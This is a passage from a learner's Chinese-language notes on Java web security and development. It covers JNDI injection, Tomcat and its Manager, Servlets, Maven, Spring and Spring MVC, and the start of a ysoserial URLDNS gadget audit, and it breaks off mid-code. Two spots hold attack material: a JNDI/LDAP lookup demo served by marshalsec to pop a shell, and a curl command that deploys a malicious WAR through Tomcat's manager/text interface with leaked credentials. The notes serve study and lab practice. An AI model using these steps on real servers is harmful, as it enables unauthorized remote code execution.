import javax.naming.InitialContext;
import javax.swing.*;
public class CLIENT {
public static void main(String[] args) throws Exception {
String uri = "ldap://127.0.0.1:1389/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
marshalsec起服务。evil.class准备弹shell
成功执行命令。可以看到ldap的版本使用范围确实比rmi更广。
这里还有一个绕过高版本的jndi注入。属于进阶技巧了。暂时先留个坑。等遇到再填。
develop
上面基本上是把java的一些比较基础的漏洞或多或少复现并分析了一遍。感觉接触起来还是挺有意思的。不过按照之前的计划,现在要把java_web的知识更深入了解下。方便自己以后更熟悉文件结构或者相应的方法,同时也是为了开发做进一步考虑。至于java一些常见漏洞如jackson,fastjson以及其他一些框架如struts的漏洞等等方向的深入就留到后面其他文章里记录了。
tomcat
web资源想要被远程计算机访问,都需要一个与之进行网络通信的程序。web服务器就是这样的程序。对java而言,支持全部JSP以及Servlet规范的tomcat服务器是最好的选择。tomcat的下载安装就不多赘述了。按照教程走就好。
这里对tomcat的一些细节进行叙述
$CATALINA_HOME
tomcat的根目录。我们也可以通过配置$CATALINA_BASE
,为多个tomcat实例的个体设定对应的属性。
- path
/bin
存放用于启动及关闭的文件,以及其他一些脚本。其中,UNIX 系统专用的 *.sh 文件在功能上等同于 Windows 系统专用的 *.bat 文件
/conf
配置文件及相关的 DTD。其中最重要的文件是 server.xml,这是容器的主配置文件
当然其他一些文件也很重要。个人遇到过的还有catalina.policy,tomcat-users.xml,web.xml这几个重要配置文件。
/log
日志文件的默认目录。
/webapps
存放 Web 应用的相关文件。
- 应用部署
在 Tomcat 服务器上,可以通过多种方法部署 Web 应用:1.静态部署2.动态部署
静态部署我们应该很熟悉。就是常规的开发流程。在启动之前就写好web应用。但是动态部署可能就接触的相对较少。但其实就是使用tomcatmanager直接操作管理web应用。
关于tomcat manager要等到专门讲manager时再仔细理解。
- 上下文
上下文在 Tomcat 中其实就是 Web 应用的意思。
为了在 Tomcat 中配置上下文,需要用到上下文描述符文件。在tomcat中其实就是xml文件。
上下文描述符文件位于:
1.$CATALINA_BASE/conf/[enginename]/[hostname]/[webappname].xml
2.$CATALINA_BASE/webapps/[webappname]/META-INF/context.xml
在目录 1 中的文件名为 [webappname].xml
,但在目录 2 中,文件名为 context.xml。如果某个 Web 应用没有相应的上下文描述符文件,Tomcat 就会使用默认值配置该应用。
- Tomcat Manager
很多生产环境都非常需要以下特性:在无需关闭或重启整个容器的情况下,部署新的 Web 应用或者取消对现有应用的部署。或者,即便在 Tomcat 服务器配置文件中没有指定 reloadable 的情况下,也可以请求重新加载现有应用。
Tomcat 中的 Web 应用 Manager 就是来解决这些问题的,它默认安装在上下文路径:/manager 中
Tomcat 以默认值运行是非常危险的,因为这能让互联网上的任何人都可以在你的服务器上执行 Manager 应用。因此,Manager 应用要求任何用户在使用前必须验证自己的身份,提供自己的用户名和密码,以及相应配置的 manager-** 角色(角色名称根据所需的功能而定)。另外,默认用户文件($CATALINA_BASE/conf/tomcat-users.xml)中的用户名称都没有指定角色名称,所以默认是不能访问 Manager 应用的。
这些角色名称位于 Manager 应用的 web.xml 文件中。可用的角色包括:
manager-gui 能够访问 HTML 界面。
manager-status 只能访问“服务器状态”(Server Status)页面。
manager-script 能够访问文档中描述的适用于工具的纯文本界面,以及”服务器状态”页面。
manager-jmx 能够访问 JMX 代理界面以及“服务器状态”(Server Status)页面。
为了能够访问 Manager 应用,必须创建一个新的用户名/密码组合,并为之授予一种 manager-** 角色,或者把一种 manager-** 角色授予现有的用户名/密码组合
比较危险的情况就如之前曾经做过几次的java题中出现的tomcat弱密码部署war或者tomcat密码泄露,命令行部署war的情况一样。
注意一点,tomcat支持通过请求url进行命令执行。http://{host}:{port}/manager/text/{command}?{parameters}
比如我做过的htb某靶机中,用户密码泄露了。但是用户是admin-gui,manager-script权限,我们没法通过账户密码登录manager/html
手动部署war.但是却可以通过命令行来部署war getshell.
curl --user 'tomcat:xxxx' --upload-file exp.war "http://xxxx:8080/manager/text/deploy=/exp.war"
这样就可以通过访问web目录exp直接操作shell了。
- 安全管理
Java 的 SecurityManager 能让 Web 浏览器在它自身的沙盒中运行小型应用(applet),从而具有防止不可信代码访问本地文件系统的文件以及防止其连接到主机,而不是加载该应用的位置。
SecurityManager 能防止不可信的小型应用在你的浏览器上运行,运行 Tomcat 时,使用 SecurityManager 也能保护服务器,使其免受木马型的 applet、JSP、JSP Bean 以及标签库的侵害,甚至也可以防止由于无意中的疏忽所造成的问题。
关于适用于 Tomcat 的标准系统 SecurityManager 权限类.包括但不限于:
1.java.lang.RuntimePermission——控制一些系统/运行时函数的使用,比如 exit() 和 exec()。 另外也控制包的访问/定义。
2.java.io.FilePermission——控制对文件和目录的读/写/执行。
3.java.security.AllPermission——允许访问任何权限,仿佛没有 SecurityManager。
……
其对应的策略文件就是catalina.policy。
Servlet
Servlet算是javaweb比较特色的程序了。它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。从某种角度讲,他能跟php做到的功能近乎类似。Java 类库的全部功能对 Servlet 来说都是可用的。它可以通过 sockets 和 RMI 机制与 applets、数据库或其他软件进行交互。
- Life Cycle
Servlet的生命周期可被定义为从创建直到毁灭的整个过程。以下是 Servlet 遵循的过程:
1.通过调用 init () 方法进行初始化。
2.调用 service() 方法来处理客户端的请求。
3.通过调用 destroy() 方法终止(结束)。
最后,Servlet 是由 JVM 的垃圾回收器进行垃圾回收的。
init()可理解为初始化,但不是构造方法。(java构造方法必须是跟类名同名的)一般进行简单的参数设定。
service()用来处理客户端请求并将格式化的响应返回给客户端。我们通常并不需要对这个方法进行改善,而是重写其调用的doGet
,doPost
等方法。
doGet(),doPost()格式均如下:
public void [doGet or doPost](HttpServletRequest request,HttpServletResponse response)
throws ServletException, IOException {
// Servlet code
}
destroy() 方法只会被调用一次,在 Servlet 生命周期结束时被调用。destroy() 方法可以让您的 Servlet 关闭数据库连接、停止后台线程、把 Cookie 列表或点击计数器写入到磁盘,并执行其他类似的清理活动。
在调用 destroy() 方法之后,servlet 对象被标记为垃圾回收
- 部署
这一部分应该算是web开发的基本流程了,因为以前只是审过源码,所以在实际使用idea进行项目创建以及内容编写上还是得重新来过。
流程:idea创建javaEnterprise项目并选择Additional Library中的Web Application. => 在新建项目下的web/WEB-INF目录下新建lib,src,classes三个文件夹 => 更改项目结构:
1.src 可以在Project Structure的modules中重新设置source.我们需要把Sources从原工程的src改为WEB-INF下的src.Sources 一般用于标注类似 src 这种可编译目录。有时候我们不单单项目的 src 目录要可编译,还有其他一些特别的目录也许我们也要作为可编译的目录,就需要对该目录进行此标注。只有 Sources 这种可编译目录才可以新建 Java 类和包。(此处工程自己创建的src没用了,所以我们直接改成web目录下的源文件夹)
2.classes 用来存放编译后输出的class文件.我们同样在项目结构中Paths的配置里将Output path和Test output path都选择刚刚创建的classes文件夹。
3.lib用于外部jar包。由于我们开发时必然会用到外部依赖,所以存放jar包的lib也需要在项目中设置。我们同样在modules中把lib添加为jar directory即可。
然后是配置tomcat服务器,这个没啥好说的。不过还是要注意artifact
设置根目录的要点。通常设置为/
.
Servlet编写的一个demo.我们首先要在之前更改过的src下新建一个class
(虽然idea会自动换成.java)命名随意。不过最好是某某Servlet.
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
public class TestServlet extends HttpServlet{
private String quote;
public TestServlet(){
System.out.println("TestServlet constructor called.");
}
@Override
public void init() throws ServletException {
System.out.println("TestServlet init method called");
quote="Thy will , not my will , be done.";
}
@Override
public void destroy() {
System.out.println("TestServlet destroy method called");
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("json");
PrintWriter out=resp.getWriter();
out.println("{\"quote\":\""+quote+"\"}");
}
}
这里顺手写了构造方法看看调用顺序。虽然我们都知道构造方法必然是最先调用的,其次是init(),然后是我们每次访问时调用的doGet,最后destroy销毁。
然后我们build module。在WEB-INF下的classes中生成TestServlet.class.最后就是配置web.xml了。
默认情况下,Servlet 应用程序位于路径
/webapps/ROOT 下,且类文件放在 /webapps/ROOT/WEB-INF/classes 中。
如果有一个完全合格的类名称 com.myorg.MyServlet,那么这个 Servlet 类必须位于 WEB-INF/classes/com/myorg/MyServlet.class 中。位于/webapps/ROOT/WEB-INF/ 的 web.xml 文件中必须设置Servlet的相关条目。
所以路径结构规定其实非常清晰。接下来我们只需要设置web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>test</servlet-name>
<servlet-class>TestServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>test</servlet-name>
<url-pattern>/Test</url-pattern>
</servlet-mapping>
</web-app>
可设定对应的servlet-class并定义其servletname.同时可以定义这个servlet对应的url映射。
剩下的部分就跟其他语言差不多了,使用get,post等处理参数,cookie及相应http请求。这里稍微记录下sql连接的使用方法。
static final String JDBC_DRIVER = "com.mysql.jdbc.Driver";
static final String DB_URL = "jdbc:mysql://localhost:3306/test";
static final String USER = "root";
static final String PASS = "123456";
...
...
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(DB_URL,USER,PASS);
...
...
mt = conn.createStatement();
String sql;
sql = "SELECT id, name, url FROM websites";
ResultSet rs = stmt.executeQuery(sql);
...
...
rs.close();
stmt.close();
conn.close();
maven
之前使用ysoserial跟marshalsec时想必必然用过maven了。但是实际上maven的作用究竟是什么还是一头雾水。因此针对maven也来学习下。
- what is maven
Maven 翻译为”专家”、”内行”,是 Apache 下的一个纯 Java 开发的开源项目。基于项目对象模型(缩写:POM)概念,Maven利用一个中央信息片断能管理一个项目的构建、报告和文档等步骤。
Maven 是一个项目管理工具,可以对 Java 项目进行构建、依赖管理。
环境配置只要jdk+下载maven即可。当然我记得IDEA应该是有maven的功能的。
- POM
POM 即 project object model.是一个xml文件,同时也是maven工程的基本单元。包含了项目的基本信息,用于描述项目如何构建,声明项目依赖,等等。
一个pom.xml的demo
<project xmlns = "http://maven.apache.org/POM/4.0.0"
xmlns:xsi = "http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation = "http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<!-- 模型版本 -->
<modelVersion>4.0.0</modelVersion>
<!-- 公司或者组织的唯一标志,并且配置时生成的路径也是由此生成, 如com.companyname.project-group,maven会将该项目打成的jar包放本地路径:/com/companyname/project-group -->
<groupId>com.companyname.project-group</groupId>
<!-- 项目的唯一ID,一个groupId下面可能多个项目,就是靠artifactId来区分的 -->
<artifactId>project</artifactId>
<!-- 版本号 -->
<version>1.0</version>
</project>
常见的节点理解
- Super POM
父(Super)POM是 Maven 默认的 POM。所有的 POM 都继承自一个父 POM(无论是否显式定义了这个父 POM)。父 POM 包含了一些可以被继承的默认设置。因此,当 Maven 发现需要下载 POM 中的 依赖时,它会到 Super POM 中配置的默认仓库 http://repo1.maven.org/maven2 去下载。
更多pom标签的含义在遇到实际情况再作说明。
- Life Cycle
Maven 构建生命周期定义了一个项目构建跟发布的过程.其主要的三个生命周期是clean
,default/build
,site
.
常用命令如mvn clean
执行的其实是两个生命周期阶段pre-clean,clean
.换成mvn post-clean
则会都执行一遍即三个阶段。
pre-clean:执行一些需要在clean之前完成的工作
clean:移除所有上一次构建生成的文件
post-clean:执行一些需要在clean之后立刻完成的工作
我们可以通过控制pom.xml来决定mvn clean时每个阶段的动作。
- maven repos
maven仓库是项目中依赖的第三方库。其主要是存储jar的地方。因此我们可以构建本地的maven项目。当然也可以有远程与默认的仓库。
比如使用aliyun仓库。我们可以在maven的setting中更改setting.xml添加节点。
<mirrors>
<mirror>
<id>alimaven</id>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
<mirrorOf>central</mirrorOf>
</mirror>
</mirrors>
pom.xml中添加
<repositories>
<repository>
<id>alimaven</id>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
<releases>
<enabled>true</enabled>
</releases>
<snapshots>
<enabled>false</enabled>
</snapshots>
</repository>
</repositories>
这个可能算是比较重要的一点了。因为大部分idea自带的maven或者是默认下载的maven配置中settings.xml都会去国外仓库获取资源,导致速度奇慢。
- develop
下面就可以开始正式maven项目的开发了。似乎idea直接创造maven project有一些坑要踩。所以我先按照菜鸟教程上的走。
在开始之前,先确认把仓库的设置改好了。即选择了aliyun镜像.然后idea的配置中:
然后用命令行构建一个项目。此处我命命为maven_learning
mvn archetype:generate "-DgroupId=com.byc.test" "-DartifactId=mvn_learning" "-DarchetypeArtifactId=maven-archetype-quickstart" "-DinteractiveMode=false"
之后在idea中导入这个工程即可。
目录结构
test跟java分别是java代码文件跟测试代码文件。都在包结构下。
这里我们初始的pom.xml中主要是这样的内容
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
</dependencies>
说明Maven 已经添加了 JUnit 作为测试框架
初始的App.java是一个Hello world的用例
package com.byc.test;
/**
* Hello world!
*
*/
public class App
{
public static void main( String[] args )
{
System.out.println( "Hello World!" );
}
}
接下来我们需要build maven项目。使用clean package
mvn clean package
成功后。我们会发现生成了target文件夹。并且其中有我们项目构建的jar file。
新增目录结构
我们给了 maven 两个目标,首先清理目标目录(clean),然后打包项目构建的输出为 jar(package)文件。
打包好的 jar 文件可以在target中获得
测试报告存放在surefire-reports文件夹中
Maven 编译源码文件,以及测试源码文件。
接着 Maven 运行测试用例。
最后 Maven 创建项目包。
classes文件夹下使用java -cp . com.byc.test.App
即可调用Hello world.
这是一个简单的maven项目构建过程。如果要使用外部依赖进行web相关开发,只需依照目录结构进行补充即可。假如我们需要添加一个ldapjdk.jar作为依赖。还是老样子将其拖到工程的lib文件夹下,并在pom.xml中添加
<dependencies>
<!-- 在这里添加你的依赖 -->
<dependency>
<groupId>ldapjdk</groupId> <!-- 库名称,也可以自定义 -->
<artifactId>ldapjdk</artifactId> <!--库名称,也可以自定义-->
<version>1.0</version> <!--版本号-->
<scope>system</scope> <!--作用域-->
<systemPath>${basedir}\src\lib\ldapjdk.jar</systemPath> <!--项目根目录下的lib文件夹下-->
</dependency>
</dependencies>
这里一开始想用ideabuild maven项目时发现报错。查了下发现可能是自己jdk版本跟idea的不一致的原因。(为了burp使用jdk1.8,但最早学编程时用的jdk10)所以最好保证maven生成构建项目时的一致性
(做htb某靶机中遇到了maven build失败的情况,最后解决办法是在更改了语言level后同时还在pom.xml中加入maven版本,jdk版本才完美解决)
Spring
emm没错又从maven跳到spring了。大概是因为spring框架出现的频率还是算比较高的。并且还不能简单的按照servlet开发的流程理解。所以先学习下spring的基础知识。
- what is spring
轻量级的Java Web开发框架,以IOC,AOP为内核,使用基本的JavaBean完成以前只可能由EJB完成的工作,取代了EJB臃肿和低效的开发模式。
spring框架采用分层结构。可分为Data Access/Integration、Web、AOP、Aspects、Messaging、Instrumentation、Core Container和Test。
其中core container 核心容器包含几个模块
Core模块:提供了框架的基本组成部分,包括IoC和依赖注入功能;
Beans模块 :提供BeanFactory,是工厂模式的经典实现,Spring将管理对象称为Bean;
Context模块:是在Core和Beans模块的基础上建立起来的,以一种类似于JNDI注册的方式访问对象,是访问定义和配置任何对象的媒介。ApplicationContext接口是上下文模块的焦点;
SpEL模块:提供了强大的表达式语言,用于在运行时查询和操作对象图;
其他如Data Access/Integration 包含jdb,orm等模块。Web包含Servlet,MVC等模块。暂且不提。
下面还是按照mi1k7ea师傅的流程先做一个简单的spring demo。创建spring项目很简单。idea中创建项目里选择spring后下面选择download选项自动下载依赖。之后就会发现依赖包已经在lib文件夹下了。
首先src下建包top.bycsec。新建两个类
HelloWorld
package top.bycsec;
public class HelloWorld {
private String message;
public void setMessage(String message){
this.message = message;
}
public void getMessage(){
System.out.println("Your Message : " + message);
}
}
MainApp
package top.bycsec;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class MainApp {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");
HelloWorld obj = (HelloWorld) context.getBean("helloWorld");
obj.getMessage();
}
}
这里我们使用框架的ClassPathXmlApplicationContext()函数来创建应用程序的上下文。这个API加载beans的配置文件并最终基于所提供的API,它处理创建并初始化所有的对象,即在配置文件中提到的beans
同时使用已创建的上下文的getBean()方法来获得所需的bean。这个方法使用bean的ID返回一个最终可以转换为实际对象的通用对象。一旦有了对象,你就可以使用这个对象调用任何类的方法;
那么自然。我们选择加载了beans.xml的配置。所以需要配置beans.xml。
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="helloWorld" class="top.bycsec.HelloWorld">
<property name="message" value="byc_404"/>
</bean>
</beans>
此处bean 的id自定。但是必须和获取bean时使用getBean()的参数保持一致。
接下来就spring里的几个基础术语学习下
- IOC
IOC 即 Inversion of Control ,控制反转。指在程序开发中,实例的创建不再由调用者管理,而是由Spring容器创建。Spring容器会负责控制程序之间的关系,而不是由程序代码直接控制,因此控制权由程序代码转移到了Spring容器中,控制权发生了反转,这就是Spring的IoC思想
Spring容器使用依赖注入(DI)来管理组成一个应用程序的组件。这些对象被称为Spring Beans。
即,IoC容器是一个具有依赖注入功能的容器,它可以创建对象,IoC容器负责实例化、定位、配置应用程序中的对象及建立这些对象间的依赖。
IOC容器的使用很大程度上是为了解决开发过程中,出现一个系统有大量的组件,其生命周期和相互之间的依赖关系如果由组件自身来维护,不但大大增加了系统的复杂度,而且会导致组件之间极为紧密的耦合,继而给测试和维护带来了极大的困难。因此使用了IOC。
同时。控制反转这个概念意味着应用程序只需使用已经配置好的组件,那么”依赖注入”这个概念就随之而出了。我们不是new一个对象。而是注入它到其他组件中。这样我们节省了编写配置代码的时间。同时注入也意味着我们可以将这个组件注入到其他类中。体现了组件共享的简单。
也正因如此。我们要让IOC容器知道怎样配置组件。所以才有了上面的使用xml文件进行bean的配置这一做法。
spring提供了两种IOC容器。一种是我们用过了的ApplicationContext
.还有一种是比较轻量的BeanFactory
.
二者的主要区别在于,如果Bean的某一个属性没有注入,则使用BeanFacotry加载后,在第一次调用getBean()方法时会抛出异常,而ApplicationContext则在初始化时自检,这样有利于检查所依赖的属性是否注入。因此,在实际开发中,通常都选择使用ApplicationContext,而只有在系统资源较少时才考虑使用BeanFactory。
具体用法跟上面的demo没有区别。只是实例化类的区别。因此不再提及。
如果要把上面的流程再仔细分析下的话。其实第一句ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");
是加载了bean的配置文件。并且初始化好对象。第二句则使用getBean()
这个方法通过配置文件中的 beanid返回真正的对象并使用其调用任何方法。
- bean
Bean是一个被实例化、组装、并通过Spring IoC容器所管理的对象。这些Bean是由用容器提供的配置元数据创建的,例如前面看到的在XML的表单中的定义。
demo中出现的几个bean的元素
id 是一个 Bean 的唯一标识符,Spring 容器对 Bean 的配置和管理都通过该属性完成
class 该属性指定了 Bean 的具体实现类,它必须是一个完整的类名,使用类的全限定名
property <bean>元素的子元素,用于调用 Bean 实例中的 Set 方法完成属性赋值,从而完成依赖注入。该元素的 name 属性指定 Bean 实例中的相应属性名
因此上面bean的xml配置其实是做了这样的注入的
HelloWorld a= new HelloWorld();
a.setMessage("byc_404");
spring中实例化bean除了简单的使用构造方法的构造器实例化。还有静态工厂实例化,实例工厂方式实例化。这些我个人认为可以暂时不用深入了解。主要还是理解了IOC,依赖注入这样的理念。用起来就有明确的思路了。
- bean装配
前面似乎一直在说得使用xml文件进行bean的指定。但实际上可以不使用xml进行配置。xml配置实际可能存在难以维护的缺点。因此可以使用其他方法进行装配。
可以使用Annotation来进行配置。
常用的几个注解
@Required @Required注释应用于bean属性的setter方法,它表明受影响的bean属性在配置时必须放在XML配置文件中
@Component 可以使用此注解描述Spring中的Bean,但它是一个泛化的概念,仅仅表示一个组件(Bean),并且可以作用在任何层次。使用时只需将该注解标注在相应类上即可。
@Repository 用于将数据访问层(DAO层)的类标识为Spring中的Bean,其功能与@Component 相同。
@Service 通常作用在业务层(Service 层),用于将业务层的类标识为Spring中的Bean,其功能与@Component相同。
......
通常我们在类中注明了相关的annotation后,beans.xml配置如下
?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context.xsd">
<!--使用context命名空间,通知spring扫描指定目录,进行注解的解析-->
<context:component-scan base-package="top.bycsec"/>
</beans>
这样就会在选定的包里自动寻找bean了。
同样我们还可以自动装配bean.
TextEditor
package top.bycsec;
public class TextEditor {
private SpellChecker spellChecker;
private String name;
public void setSpellChecker( SpellChecker spellChecker ) {
this.spellChecker = spellChecker;
}
public SpellChecker getSpellChecker() {
return spellChecker;
}
public void setName(String name) {
this.name = name;
}
public String getName() {
return name;
}
public void spellCheck() {
spellChecker.checkSpelling();
}
}
SpellChecker
package top.bycsec;
public class SpellChecker {
public SpellChecker(){
System.out.println("Inside SpellChecker constructor." );
}
public void checkSpelling() {
System.out.println("Inside checkSpelling." );
}
}
MainApp
package top.bycsec;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class MainApp {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");
TextEditor te = (TextEditor) context.getBean("textEditor");
te.spellCheck();
}
}
beans.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context.xsd">
<!-- Definition for textEditor bean -->
<bean id="textEditor" class="top.bycsec.TextEditor" autowire="byName">
<property name="name" value="byc_404" />
</bean>
<!-- Definition for spellChecker bean -->
<bean id="spellChecker" class="top.bycsec.SpellChecker" />
</beans>
注意这里我们使用自动装配,也就是配置bean的autowire属性。比如此处的byName就是指: 根据 Property 的 name 自动装配,如果一个 Bean 的 name 和另一个 Bean 中的 Property 的 name 相同,则自动装配这个 Bean 到 Property 中。这里我们textEditor这个bean定义设置为自动装配byName,并且它包含spellChecker属性(即它有一个 setSpellChecker(…) 方法),那么Spring就会查找定义名为spellChecker的bean,并且用它来设置这个属性
如果我们不用自动调用。那么beans.xml中的配置就需要额外设置property
<bean id="textEditor" class="top.bycsec.TextEditor">
<property name="spellChecker" ref="spellChecker" />
<property name="name" value="byc_404" />
</bean>
同理。我们还可以使用byType等autowire属性值来进行自动装配。
今天先看到这。spring的内容还是比较多的
SpringMVC
今天简单写个springmvc的demo。其实看了眼廖雪峰老师的spring教程。发现spring的项目基本都是maven构建的。实际上我们就算单纯使用idea中springmvc开发,也可以加入maven结构。
我个人看了下网上csdn的几种写法。有点惊讶有的根本没有写出mvc的作用,有的方法完全拘泥于原来servlet的写法,没有用上spring自己的依赖。最后找到一个阿里云的demo才真正理解了其结构。下面来实际操作下。
首先idea创建springmvc项目。当然刚刚提到了创建maven项目然后引入spring依赖也是可以的。这里我们就暂且先使用idea来帮助我们直接处理好spring的依赖吧。
刚创建完项目首先要注意一点。需要在ProjectStructure => Artifact 中将两个spring的依赖加入到WEB-INF/lib中。否则待会我们使用tomcat部署时会报错。
接下来先用不加注解的方法写一个class。
package top.bycsec;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class Helloworld implements Controller {
@Override
public ModelAndView handleRequest(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws Exception {
ModelAndView modelAndView = new ModelAndView();
modelAndView.addObject("name","byc_404");
modelAndView.setViewName("hello");
return modelAndView;
}
}
底下addObject是加载模型数据。setViewName则是选定模型视图。这里视图不使用hello.jsp而是hello是方便书写。我们后面直接在配置中定义后缀即可。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page isELIgnored="false" %>
<html>
<head>
<title>Hello World</title>
</head>
<body>
Hello ${name}
</body>
</html>
hello.jsp 使用SpEL表达式。即获取我们刚刚的模型数据输出到视图。
然后是项目创建时自动生成的dispatcher-servlet.xml。这里可以修改我们bean的相关参数。比如此处设置路由/helloworld
。利用beanid让其对应class为HelloWorld.以及视图是在web根目录下找后缀为jsp的文件。
配置文件bean部分如下。
<bean id="handlerMapping" class="org.springframework.web.servlet.handler.SimpleUrlHandlerMapping">
<property name="mappings">
<props>
<prop key="/helloworld">testHandler</prop>
</props>
</property>
</bean>
<bean id="testHandler" class="top.bycsec.Helloworld"></bean>
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix">
<value>/</value>
</property>
<property name="suffix">
<value>.jsp</value>
</property>
</bean>
之后加载tomcat配置跑起来即可。访问根目录是index.jsp内容。访问/helloworld
则是hello.jsp
当然。这种写法肯定是麻烦了。刚好昨天学过了spring 中自动装载bean的用法。那么此处当然也可以利用注解+配置自动装载bean
新写一个AnnotationHandler类。这里使用注解@Controller
将其置为控制器。同时设定其路由为/mdoel
。数据与视图跟刚刚差不多。
package top.bycsec;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.servlet.ModelAndView;
@Controller
public class AnnotationHandler {
@RequestMapping("/model")
public ModelAndView modelAndViewTest(){
ModelAndView modelAndView = new ModelAndView();
modelAndView.addObject("name","byc_404");
modelAndView.setViewName("show");
return modelAndView;
}
}
show.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page isELIgnored="false" %>
<html>
<head>
<title>Model</title>
</head>
<body>
Testing model by ${name}
</body>
</html>
dispatcher-servlet.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">
<context:component-scan base-package="top.bycsec"></context:component-scan>
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix">
<value>/</value>
</property>
<property name="suffix">
<value>.jsp</value>
</property>
</bean>
</beans>
直接扫描top.bycsec包十分方便。现在我们访问/model
路由
最终项目路径
如果要在上面基础上接受参数或者设置路由基本跟servlet差不多
@Controller
@RequestMapping("/user")
public class UserController {
// 实际URL映射是/user/profile
@GetMapping("/profile")
public ModelAndView profile() {
...
}
// 实际URL映射是/user/changePassword
@GetMapping("/changePassword")
public ModelAndView changePassword() {
...
}
@PostMapping("/signin")
public ModelAndView doSignin(
@RequestParam("email") String email,
@RequestParam("password") String password,
HttpSession session) {
...
}
}
假如编写的是大量接口的代码(rest api)。spring还提供了@RestController
来代替@Controller
.这样接口的方法自动变成api方法。数据也是restapi的json数据。
Audit
这一部分用于学习java代码审计中一些常见漏洞的深层原理。比如之前反序列化中利用链的深层原因还没有全部学清楚。一些特定情况下的payload编写也还需要基础知识作为底层支持。
真正接触了实战才会发现java在现在仍旧是建站的首选,并且往往可以拿到权限较高的shell.也幸好最近接触java相对更多了点,所以才有胆量去探究这些漏洞利用的底层。
deserialization gadgets
先从ysoserialpayload利用链的原理开始审计。
根据我们最早学习到的java反序列化原理。我们知道,序列化利用类必须是实现了Serializable的。这些都是payload可行的必要条件。所以后续这种细节都不必提。
- URLDNS
URLDNS常用于检测反序列化漏洞。原因很简单:
1.依赖原生类Hashmap
2.不依赖jdk版本
我们看看Hashmap类。它实现了readObject方法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
